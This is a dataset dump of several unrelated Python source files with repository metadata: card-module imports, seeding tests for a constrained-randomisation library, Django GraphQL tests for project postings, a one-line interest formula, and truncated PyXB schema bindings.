1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
399d7098ed66e63a6be19906546d9d5b6e465174
264
py
Python
entity/cards/LETL_012H/__init__.py
x014/lushi_script
edab2b88e3f0de8139de2541ab2daa331f777c0e
[ "MIT" ]
102
2021-10-20T09:06:39.000Z
2022-03-28T13:35:11.000Z
entity/cards/LETL_012H/__init__.py
x014/lushi_script
edab2b88e3f0de8139de2541ab2daa331f777c0e
[ "MIT" ]
98
2021-10-19T16:13:27.000Z
2022-03-27T13:27:49.000Z
entity/cards/LETL_012H/__init__.py
x014/lushi_script
edab2b88e3f0de8139de2541ab2daa331f777c0e
[ "MIT" ]
55
2021-10-19T03:56:50.000Z
2022-03-25T08:25:26.000Z
# -*- coding: utf-8 -*- import entity.cards.LETL_012H.LETL_012P4 import entity.cards.LETL_012H.LETL_012P6 import entity.cards.LETL_012H.LETL_012P7 import entity.cards.LETL_012H.LETL_690 import entity.cards.LETL_012H.LETL_691 import entity.cards.LETL_012H.LETL_692
33
40
0.833333
45
264
4.622222
0.311111
0.346154
0.490385
0.605769
0.836538
0.836538
0
0
0
0
0
0.161943
0.064394
264
7
41
37.714286
0.680162
0.079545
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
8
39c045c4ae5f6763fb7b2bdd848c4dd79f80eecc
5,404
py
Python
ve/unit/test_randstate.py
fvutils/py-vsc
e30ffae1b750d8182d102b1fe5b1cfdce017a092
[ "Apache-2.0" ]
null
null
null
ve/unit/test_randstate.py
fvutils/py-vsc
e30ffae1b750d8182d102b1fe5b1cfdce017a092
[ "Apache-2.0" ]
null
null
null
ve/unit/test_randstate.py
fvutils/py-vsc
e30ffae1b750d8182d102b1fe5b1cfdce017a092
[ "Apache-2.0" ]
null
null
null
''' Created on Oct 12, 2021 @author: mballance ''' import vsc from vsc.model.rand_state import RandState from vsc_test_case import VscTestCase class TestRandState(VscTestCase): def test_init_state(self): @vsc.randobj class item_c(object): def __init__(self): self.a = vsc.rand_uint8_t() self.b = vsc.rand_uint8_t() @vsc.constraint def ab_c(self): self.a < self.b ci = item_c() v1 = [] v2 = [] rs1 = RandState(0) ci.set_randstate(rs1) for _ in range(100): ci.randomize() v1.append((ci.a,ci.b)) rs2 = RandState(100) ci.set_randstate(rs2) for _ in range(100): ci.randomize() v2.append((ci.a,ci.b)) # Check that two lists are not exactly equal all_equal = True for i in range(len(v1)): if v1[i][0] != v2[i][0] or v1[i][1] != v2[i][1]: all_equal = False break self.assertFalse(all_equal) def test_same_seed_str(self): @vsc.randobj class item_c(object): def __init__(self): self.a = vsc.rand_uint8_t() self.b = vsc.rand_uint8_t() @vsc.constraint def ab_c(self): self.a < self.b ci = item_c() v1 = [] v2 = [] print("Iteration 1") rs1 = RandState.mkFromSeed(10, "abc") ci.set_randstate(rs1) for _ in range(10): ci.randomize() v1.append((ci.a,ci.b)) print("Iteration 2") rs2 = RandState.mkFromSeed(10, "abc") ci.set_randstate(rs2) for _ in range(10): ci.randomize() v2.append((ci.a,ci.b)) # Check that two lists are not exactly equal all_equal = True for i in range(len(v1)): print("[%d] v1=(%d,%d) v2=(%d,%d)" % ( i, v1[i][0], v1[i][1], v2[i][0], v2[i][1])) if v1[i][0] != v2[i][0] or v1[i][1] != v2[i][1]: all_equal = False # break self.assertTrue(all_equal) def test_diff_seed(self): @vsc.randobj class item_c(object): def __init__(self): self.a = vsc.rand_uint8_t() self.b = vsc.rand_uint8_t() @vsc.constraint def ab_c(self): self.a < self.b ci = item_c() v1 = [] v2_1 = [] v2_2 = [] print("Iteration 1") rs1 = RandState.mkFromSeed(0) ci.set_randstate(rs1) for _ in range(10): ci.randomize() v1.append((ci.a,ci.b)) rand_s = rs1.randint(0, 1000000) rs2_1 = RandState.mkFromSeed(rand_s) rs2_2 = RandState.mkFromSeed(rand_s) print("Iteration 2_1") ci.set_randstate(rs2_1) for _ in range(10): ci.randomize() v2_1.append((ci.a,ci.b)) print("Iteration 2_2") ci.set_randstate(rs2_2) for _ in range(10): ci.randomize() v2_2.append((ci.a,ci.b)) # Check that two lists are not exactly equal all_equal = True for i in range(len(v1)): print("[%d] v2_1=(%d,%d) v2_2=(%d,%d)" % ( i, v2_1[i][0], v2_1[i][1], v2_2[i][0], v2_2[i][1])) if v2_1[i][0] != v2_2[i][0] or v2_1[i][1] != v2_2[i][1]: all_equal = False break self.assertTrue(all_equal) # Check that we have differences from the first set all_equal = True for i in range(len(v1)): print("[%d] v1=(%d,%d) v2_2=(%d,%d)" % ( i, v1[i][0], v1[i][1], v2_2[i][0], v2_2[i][1])) if v1[i][0] != v2_2[i][0] or v1[i][1] != v2_2[i][1]: all_equal = False break self.assertFalse(all_equal) def test_rerun_same_seed(self): @vsc.randobj class item_c(object): def __init__(self): self.a = vsc.rand_uint8_t() self.b = vsc.rand_uint8_t() @vsc.constraint def ab_c(self): self.a < self.b ci = item_c() v1 = [] v2 = [] print("Iteration 1") rs1 = RandState(0) ci.set_randstate(rs1) for _ in range(10): ci.randomize() v1.append((ci.a,ci.b)) print("Iteration 2") ci.set_randstate(rs1) for _ in range(10): ci.randomize() v2.append((ci.a,ci.b)) # Check that two lists are not exactly equal all_equal = True for i in range(len(v1)): print("[%d] v1=(%d,%d) v2=(%d,%d)" % ( i, v1[i][0], v1[i][1], v2[i][0], v2[i][1])) if v1[i][0] != v2[i][0] or v1[i][1] != v2[i][1]: all_equal = False # break self.assertTrue(all_equal)
27.02
68
0.438934
701
5,404
3.215407
0.119829
0.015972
0.017746
0.043922
0.828749
0.8252
0.806122
0.730701
0.707631
0.707631
0
0.0663
0.427831
5,404
199
69
27.155779
0.662678
0.056995
0
0.806897
0
0
0.038772
0
0
0
0
0
0.034483
1
0.082759
false
0
0.02069
0
0.137931
0.075862
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ffc74e92622615ace45da484848fb3662534e39b
23,198
py
Python
api/tests/test_project_posting.py
matchd-ch/matchd-backend
84be4aab1b4708cae50a8988301b15df877c8db0
[ "Apache-2.0" ]
1
2022-03-03T09:55:57.000Z
2022-03-03T09:55:57.000Z
api/tests/test_project_posting.py
matchd-ch/matchd-backend
84be4aab1b4708cae50a8988301b15df877c8db0
[ "Apache-2.0" ]
7
2022-02-09T10:44:53.000Z
2022-03-28T03:29:43.000Z
api/tests/test_project_posting.py
matchd-ch/matchd-backend
84be4aab1b4708cae50a8988301b15df877c8db0
[ "Apache-2.0" ]
null
null
null
import pytest from django.contrib.auth.models import AnonymousUser from graphql_relay import to_global_id from api.tests.helper.node_helper import assert_node_field, assert_node_id from db.models import ProjectPosting, ProjectPostingState # pylint: disable=R0913 @pytest.mark.django_db def test_student_project_posting(query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_student, user_employee): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = None company_project_posting_object.employee = None company_project_posting_object.student = user_student.student company_project_posting_object.state = ProjectPostingState.PUBLIC company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting(user_employee, company_project_posting_object.slug) assert errors is None assert data is not None project_posting = data.get('projectPosting') assert project_posting.get('title') == 'title' assert project_posting.get('displayTitle') == 'tit\xadle' assert project_posting.get('slug') == company_project_posting_object.slug assert project_posting.get('description') == company_project_posting_object.description assert project_posting.get( 'additionalInformation') == company_project_posting_object.additional_information assert project_posting.get('projectFromDate') == '2021-08-01' assert project_posting.get('website') == company_project_posting_object.website assert project_posting.get('topic').get('id') == to_global_id( 'Topic', company_project_posting_object.topic_id) assert project_posting.get('projectType').get('id') == to_global_id( 'ProjectType', company_project_posting_object.project_type_id) assert int(project_posting.get('formStep')) == company_project_posting_object.form_step assert project_posting.get('company') is None assert project_posting.get('employee') is None assert project_posting.get('student').get('id') == to_global_id('Student', user_student.student.id) assert len(project_posting.get('keywords')) == len( company_project_posting_object.keywords.all()) assert project_posting.get('state') == company_project_posting_object.state.upper() match_status = project_posting.get('matchStatus') assert match_status is None match_hints = project_posting.get('matchHints') assert match_hints is None @pytest.mark.django_db def test_student_project_posting_draft(query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_student): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = None company_project_posting_object.employee = None company_project_posting_object.student = user_student.student company_project_posting_object.state = ProjectPostingState.DRAFT company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting(user_student, company_project_posting_object.slug) assert errors is None assert data is not None project_posting = data.get('projectPosting') assert project_posting.get('title') == 'title' assert project_posting.get('displayTitle') == 'tit\xadle' assert project_posting.get('slug') == company_project_posting_object.slug assert project_posting.get('description') == company_project_posting_object.description assert project_posting.get( 'additionalInformation') == company_project_posting_object.additional_information assert project_posting.get('projectFromDate') == '2021-08-01' assert project_posting.get('website') == company_project_posting_object.website assert project_posting.get('topic').get('id') == to_global_id( 'Topic', company_project_posting_object.topic_id) assert project_posting.get('projectType').get('id') == to_global_id( 'ProjectType', company_project_posting_object.project_type_id) assert int(project_posting.get('formStep')) == company_project_posting_object.form_step assert project_posting.get('company') is None assert project_posting.get('employee') is None assert project_posting.get('student').get('id') == to_global_id('Student', user_student.student.id) assert len(project_posting.get('keywords')) == len( company_project_posting_object.keywords.all()) assert project_posting.get('state') == company_project_posting_object.state.upper() match_status = project_posting.get('matchStatus') assert match_status is None match_hints = project_posting.get('matchHints') assert match_hints is None @pytest.mark.django_db def test_student_project_posting_by_id(query_project_posting_by_id, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_student): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = None company_project_posting_object.employee = None company_project_posting_object.student = user_student.student company_project_posting_object.state = ProjectPostingState.PUBLIC company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting_by_id(user_student, company_project_posting_object.id) assert errors is None assert data is not None project_posting = data.get('projectPosting') assert project_posting.get('title') == 'title' assert project_posting.get('displayTitle') == 'tit\xadle' assert project_posting.get('slug') == company_project_posting_object.slug assert project_posting.get('description') == company_project_posting_object.description assert project_posting.get( 'additionalInformation') == company_project_posting_object.additional_information assert project_posting.get('projectFromDate') == '2021-08-01' assert project_posting.get('website') == company_project_posting_object.website assert project_posting.get('topic').get('id') == to_global_id( 'Topic', company_project_posting_object.topic_id) assert project_posting.get('projectType').get('id') == to_global_id( 'ProjectType', company_project_posting_object.project_type_id) assert int(project_posting.get('formStep')) == company_project_posting_object.form_step assert project_posting.get('company') is None assert project_posting.get('employee') is None assert project_posting.get('student').get('id') == to_global_id('Student', user_student.student.id) assert len(project_posting.get('keywords')) == len( company_project_posting_object.keywords.all()) assert project_posting.get('state') == company_project_posting_object.state.upper() match_status = project_posting.get('matchStatus') assert match_status is None match_hints = project_posting.get('matchHints') assert match_hints is None @pytest.mark.django_db def test_company_project_posting(query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_employee): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = user_employee.company company_project_posting_object.employee = user_employee.employee company_project_posting_object.student = None company_project_posting_object.state = ProjectPostingState.PUBLIC company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting(user_employee, company_project_posting_object.slug) assert errors is None assert data is not None project_posting = data.get('projectPosting') assert project_posting.get('title') == 'title' assert project_posting.get('displayTitle') == 'tit\xadle' assert project_posting.get('slug') == company_project_posting_object.slug assert project_posting.get('description') == company_project_posting_object.description assert project_posting.get( 'additionalInformation') == company_project_posting_object.additional_information assert project_posting.get('projectFromDate') == '2021-08-01' assert project_posting.get('website') == company_project_posting_object.website assert project_posting.get('topic').get('id') == to_global_id( 'Topic', company_project_posting_object.topic_id) assert project_posting.get('projectType').get('id') == to_global_id( 'ProjectType', company_project_posting_object.project_type_id) assert int(project_posting.get('formStep')) == company_project_posting_object.form_step assert project_posting.get('company').get('id') == to_global_id('Company', user_employee.company.id) assert project_posting.get('employee').get('id') == to_global_id('Employee', user_employee.employee.id) assert project_posting.get('student') is None assert len(project_posting.get('keywords')) == len( company_project_posting_object.keywords.all()) assert project_posting.get('state') == company_project_posting_object.state.upper() match_status = project_posting.get('matchStatus') assert match_status is None match_hints = project_posting.get('matchHints') assert match_hints is None @pytest.mark.django_db def test_company_project_posting_draft(query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_employee): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = user_employee.company company_project_posting_object.employee = user_employee.employee company_project_posting_object.student = None company_project_posting_object.state = ProjectPostingState.DRAFT company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting(user_employee, company_project_posting_object.slug) assert errors is None assert data is not None project_posting = data.get('projectPosting') assert project_posting.get('title') == 'title' assert project_posting.get('displayTitle') == 'tit\xadle' assert project_posting.get('slug') == company_project_posting_object.slug assert project_posting.get('description') == company_project_posting_object.description assert project_posting.get( 'additionalInformation') == company_project_posting_object.additional_information assert project_posting.get('projectFromDate') == '2021-08-01' assert project_posting.get('website') == company_project_posting_object.website assert project_posting.get('topic').get('id') == to_global_id( 'Topic', company_project_posting_object.topic_id) assert project_posting.get('projectType').get('id') == to_global_id( 'ProjectType', company_project_posting_object.project_type_id) assert int(project_posting.get('formStep')) == company_project_posting_object.form_step assert project_posting.get('company').get('id') == to_global_id('Company', user_employee.company.id) assert project_posting.get('employee').get('id') == to_global_id('Employee', user_employee.employee.id) assert project_posting.get('student') is None assert len(project_posting.get('keywords')) == len( company_project_posting_object.keywords.all()) assert project_posting.get('state') == company_project_posting_object.state.upper() match_status = project_posting.get('matchStatus') assert match_status is None match_hints = project_posting.get('matchHints') assert match_hints is None @pytest.mark.django_db def test_company_project_posting_by_id(query_project_posting_by_id, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_employee): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = user_employee.company company_project_posting_object.employee = user_employee.employee company_project_posting_object.student = None company_project_posting_object.state = ProjectPostingState.PUBLIC company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting_by_id(user_employee, company_project_posting_object.id) assert errors is None assert data is not None project_posting = data.get('projectPosting') assert project_posting.get('title') == 'title' assert project_posting.get('displayTitle') == 'tit\xadle' assert project_posting.get('slug') == company_project_posting_object.slug assert project_posting.get('description') == company_project_posting_object.description assert project_posting.get( 'additionalInformation') == company_project_posting_object.additional_information assert project_posting.get('projectFromDate') == '2021-08-01' assert project_posting.get('website') == company_project_posting_object.website assert project_posting.get('topic').get('id') == to_global_id( 'Topic', company_project_posting_object.topic_id) assert project_posting.get('projectType').get('id') == to_global_id( 'ProjectType', company_project_posting_object.project_type_id) assert int(project_posting.get('formStep')) == company_project_posting_object.form_step assert project_posting.get('company').get('id') == to_global_id('Company', user_employee.company.id) assert project_posting.get('employee').get('id') == to_global_id('Employee', user_employee.employee.id) assert project_posting.get('student') is None assert len(project_posting.get('keywords')) == len( company_project_posting_object.keywords.all()) assert project_posting.get('state') == company_project_posting_object.state.upper() match_status = project_posting.get('matchStatus') assert match_status is None match_hints = project_posting.get('matchHints') assert match_hints is None @pytest.mark.django_db def test_student_project_posting_draft_not_accessible( query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_student, user_employee): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = None company_project_posting_object.employee = None company_project_posting_object.student = user_student.student company_project_posting_object.state = ProjectPostingState.DRAFT company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting(user_employee, company_project_posting_object.slug) assert errors is not None assert data is not None assert data.get('projectPosting') is None @pytest.mark.django_db def test_company_project_posting_draft_not_accessible( query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects, topic_objects, keyword_objects, user_employee, user_student): company_project_posting_object.title = 'title' company_project_posting_object.slug = 'title' company_project_posting_object.description = 'description' company_project_posting_object.additional_information = 'additional information' company_project_posting_object.project_from_date = '2021-08-01' company_project_posting_object.website = 'http://www.project-posting.lo' company_project_posting_object.topic = topic_objects[0] company_project_posting_object.project_type = project_type_objects[0] company_project_posting_object.form_step = 3 company_project_posting_object.company = user_employee.company company_project_posting_object.employee = user_employee.employee company_project_posting_object.student = None company_project_posting_object.state = ProjectPostingState.DRAFT company_project_posting_object.save() company_project_posting_object.keywords.set(keyword_objects) data, errors = query_project_posting(user_student, company_project_posting_object.slug) assert errors is not None assert data is not None assert data.get('projectPosting') is None @pytest.mark.django_db def test_project_postings(query_project_postings, company_project_posting_objects, user_employee): data, errors = query_project_postings(user_employee) assert errors is None assert data is not None edges = data.get('projectPostings').get('edges') assert edges is not None assert len(edges) == len(company_project_posting_objects) - 1 assert_node_id(edges[0].get('node'), 'ProjectPosting', company_project_posting_objects[0].id) assert_node_id(edges[1].get('node'), 'ProjectPosting', company_project_posting_objects[1].id) assert_node_field(edges[0].get('node'), 'slug', company_project_posting_objects[0].slug) assert_node_field(edges[1].get('node'), 'slug', company_project_posting_objects[1].slug) @pytest.mark.django_db def test_node_query(query_project_posting_node, company_project_posting_objects, user_employee): data, errors = query_project_posting_node(user_employee, company_project_posting_objects[0].id) assert errors is None assert data is not None node = data.get('node') assert node is not None assert_node_id(node, 'ProjectPosting', company_project_posting_objects[0].id) assert_node_field(node, 'slug', company_project_posting_objects[0].slug) @pytest.mark.django_db def test_node_without_login_query(query_project_posting_node, company_project_posting_objects): data, errors = query_project_posting_node(AnonymousUser(), company_project_posting_objects[0].id) assert errors is not None assert data is not None error = errors[0].get('message') node = data.get('node') assert node is None assert error == "You do not have permission to perform this action"
52.722727
100
0.745625
2,754
23,198
5.885258
0.037037
0.298865
0.266905
0.31651
0.966436
0.963783
0.960143
0.951012
0.942127
0.928986
0
0.008005
0.170661
23,198
439
101
52.842825
0.834451
0.000905
0
0.898123
0
0
0.09493
0.005437
0
0
0
0
0.369973
1
0.029491
false
0
0.013405
0
0.042895
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
ffeee41f2d7a41b24c2e12db046103331d2b5f82
52
py
Python
Chapter 1-4/ie.py
Null3rror/Engineering-Economics-Cheatsheet
68639482d4db071bf51c44f5d51fc978c7899b90
[ "MIT" ]
null
null
null
Chapter 1-4/ie.py
Null3rror/Engineering-Economics-Cheatsheet
68639482d4db071bf51c44f5d51fc978c7899b90
[ "MIT" ]
null
null
null
Chapter 1-4/ie.py
Null3rror/Engineering-Economics-Cheatsheet
68639482d4db071bf51c44f5d51fc978c7899b90
[ "MIT" ]
null
null
null
def ie(r, t): return ((1 + (r / t)) ** t) - 1
17.333333
36
0.346154
10
52
1.8
0.6
0.222222
0
0
0
0
0
0
0
0
0
0.060606
0.365385
52
2
37
26
0.484848
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
8
fff01416168f1016d0e7409ceede2fc00e7f0800
174,758
py
Python
komle/bindings/uom.py
renrawse/komle
016b6d62aad0aacf50f419fa143518ff39b7709e
[ "Apache-2.0" ]
16
2020-04-17T11:24:59.000Z
2022-02-24T14:54:14.000Z
komle/bindings/uom.py
gogo2009/komle
d598ecba841b3b0aa243ffa6fb9ac59f86aaeba3
[ "Apache-2.0" ]
5
2021-02-16T08:26:42.000Z
2021-12-13T20:51:20.000Z
komle/bindings/uom.py
gogo2009/komle
d598ecba841b3b0aa243ffa6fb9ac59f86aaeba3
[ "Apache-2.0" ]
15
2020-04-29T23:11:32.000Z
2022-03-29T15:21:47.000Z
# komle/uom_bindings/uom.py # -*- coding: utf-8 -*- # PyXB bindings for NM:de5669d245f178776916647737ebc73cda75213c # Generated 2020-04-19 10:21:50.429390 by PyXB version 1.2.6 using Python 3.7.5.final.0 # Namespace http://www.posc.org/schemas from __future__ import unicode_literals import pyxb import pyxb.binding import pyxb.binding.saxer import io import pyxb.utils.utility import pyxb.utils.domutils import sys import pyxb.utils.six as _six # Unique identifier for bindings created at the same time _GenerationUID = pyxb.utils.utility.UniqueIdentifier('urn:uuid:d0c8f168-8216-11ea-8441-f1a2c51e3802') # Version of PyXB used to generate the bindings _PyXBVersion = '1.2.6' # Generated bindings are not compatible across PyXB versions if pyxb.__version__ != _PyXBVersion: raise pyxb.PyXBVersionError(_PyXBVersion) # A holder for module-level binding classes so we can access them from # inside class definitions where property names may conflict. _module_typeBindings = pyxb.utils.utility.Object() # Import bindings for namespaces imported into schema import pyxb.binding.datatypes # NOTE: All namespace declarations are reserved within the binding Namespace = pyxb.namespace.NamespaceForURI('http://www.posc.org/schemas', create_if_missing=True) Namespace.configureCategories(['typeBinding', 'elementBinding']) def CreateFromDocument (xml_text, default_namespace=None, location_base=None): """Parse the given XML and use the document element to create a Python instance. @param xml_text An XML document. This should be data (Python 2 str or Python 3 bytes), or a text (Python 2 unicode or Python 3 str) in the L{pyxb._InputEncoding} encoding. @keyword default_namespace The L{pyxb.Namespace} instance to use as the default namespace where there is no default namespace in scope. If unspecified or C{None}, the namespace of the module containing this function will be used. @keyword location_base: An object to be recorded as the base of all L{pyxb.utils.utility.Location} instances associated with events and objects handled by the parser. You might pass the URI from which the document was obtained. """ if pyxb.XMLStyle_saxer != pyxb._XMLStyle: dom = pyxb.utils.domutils.StringToDOM(xml_text) return CreateFromDOM(dom.documentElement, default_namespace=default_namespace) if default_namespace is None: default_namespace = Namespace.fallbackNamespace() saxer = pyxb.binding.saxer.make_parser(fallback_namespace=default_namespace, location_base=location_base) handler = saxer.getContentHandler() xmld = xml_text if isinstance(xmld, _six.text_type): xmld = xmld.encode(pyxb._InputEncoding) saxer.parse(io.BytesIO(xmld)) instance = handler.rootObject() return instance def CreateFromDOM (node, default_namespace=None): """Create a Python instance from the given DOM node. The node tag must correspond to an element declaration in this module. @deprecated: Forcing use of DOM interface is unnecessary; use L{CreateFromDocument}.""" if default_namespace is None: default_namespace = Namespace.fallbackNamespace() return pyxb.binding.basis.element.AnyCreateFromDOM(node, default_namespace) # Union simple type: {http://www.posc.org/schemas}expandedDateTime # superclasses pyxb.binding.datatypes.anySimpleType class expandedDateTime (pyxb.binding.basis.STD_union): """Expand possibilities of dateTime format to include date, dateTime, gYearMonth, and gYear""" _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'expandedDateTime') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 337, 0) _Documentation = 'Expand possibilities of dateTime format to include date, dateTime, gYearMonth, and gYear' _MemberTypes = ( pyxb.binding.datatypes.dateTime, pyxb.binding.datatypes.date, pyxb.binding.datatypes.gYearMonth, pyxb.binding.datatypes.gYear, ) expandedDateTime._CF_pattern = pyxb.binding.facets.CF_pattern() expandedDateTime._CF_enumeration = pyxb.binding.facets.CF_enumeration(value_datatype=expandedDateTime) expandedDateTime._InitializeFacetMap(expandedDateTime._CF_pattern, expandedDateTime._CF_enumeration) Namespace.addCategoryObject('typeBinding', 'expandedDateTime', expandedDateTime) _module_typeBindings.expandedDateTime = expandedDateTime # Atomic simple type: {http://www.posc.org/schemas}keyid class keyid (pyxb.binding.datatypes.string): """ The keyid type is intended to be a replacement for the DTD, ID type, which is being deprecated. This type is intended to carry the same semantics as the ID type. """ _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'keyid') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 456, 0) _Documentation = '\nThe keyid type is intended to be a replacement for the DTD, ID type, which is being deprecated. This type is intended to carry the same semantics as the ID type.\n ' keyid._InitializeFacetMap() Namespace.addCategoryObject('typeBinding', 'keyid', keyid) _module_typeBindings.keyid = keyid # Complex type {http://www.posc.org/schemas}documentInfoType with content type ELEMENT_ONLY class documentInfoType (pyxb.binding.basis.complexTypeDefinition): """ A convenience schema to capture a set of data that is relevant for many exchange documents. It includes information about the file that was created, and high-level information about the data that is being exchanged within the file. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'documentInfoType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 46, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}_DocClasses uses Python identifier DocClasses __DocClasses = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, '_DocClasses'), 'DocClasses', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemas_DocClasses', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 35, 0), ) DocClasses = property(__DocClasses.value, __DocClasses.set, None, '\nAn abstract element, to serve as a head for a substitution group. The \n_DocClasses is intended to handle any classification systems that a group\nwould model. It may be a simple substitution, or a container with many\nclasses contained in it.\n ') # Element {http://www.posc.org/schemas}DocumentName uses Python identifier DocumentName __DocumentName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentName'), 'DocumentName', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDocumentName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 56, 2), ) DocumentName = property(__DocumentName.value, __DocumentName.set, None, '\nAn identifier for the document. This is intended to be unique within the \ncontext of the NamingSystem.\n ') # Element {http://www.posc.org/schemas}DocumentAlias uses Python identifier DocumentAlias __DocumentAlias = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentAlias'), 'DocumentAlias', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDocumentAlias', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2), ) DocumentAlias = property(__DocumentAlias.value, __DocumentAlias.set, None, '\nZero or more alternate names for the document. These names do not need to be\nunique within the naming system.\n ') # Element {http://www.posc.org/schemas}DocumentDate uses Python identifier DocumentDate __DocumentDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentDate'), 'DocumentDate', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDocumentDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2), ) DocumentDate = property(__DocumentDate.value, __DocumentDate.set, None, '\nThe date of the creation of the document. This is not the same as the date\nthat the file was created. For this date, the document is considered to be\nthe set of information associated with this document information.\nFor example, the document may be a seismic binset. This represents the date\nthat the binset was created. The FileCreation information would capture the\ndate that the XML file was created to send or exchange the binset.\n ') # Element {http://www.posc.org/schemas}FileCreationInformation uses Python identifier FileCreationInformation __FileCreationInformation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'FileCreationInformation'), 'FileCreationInformation', 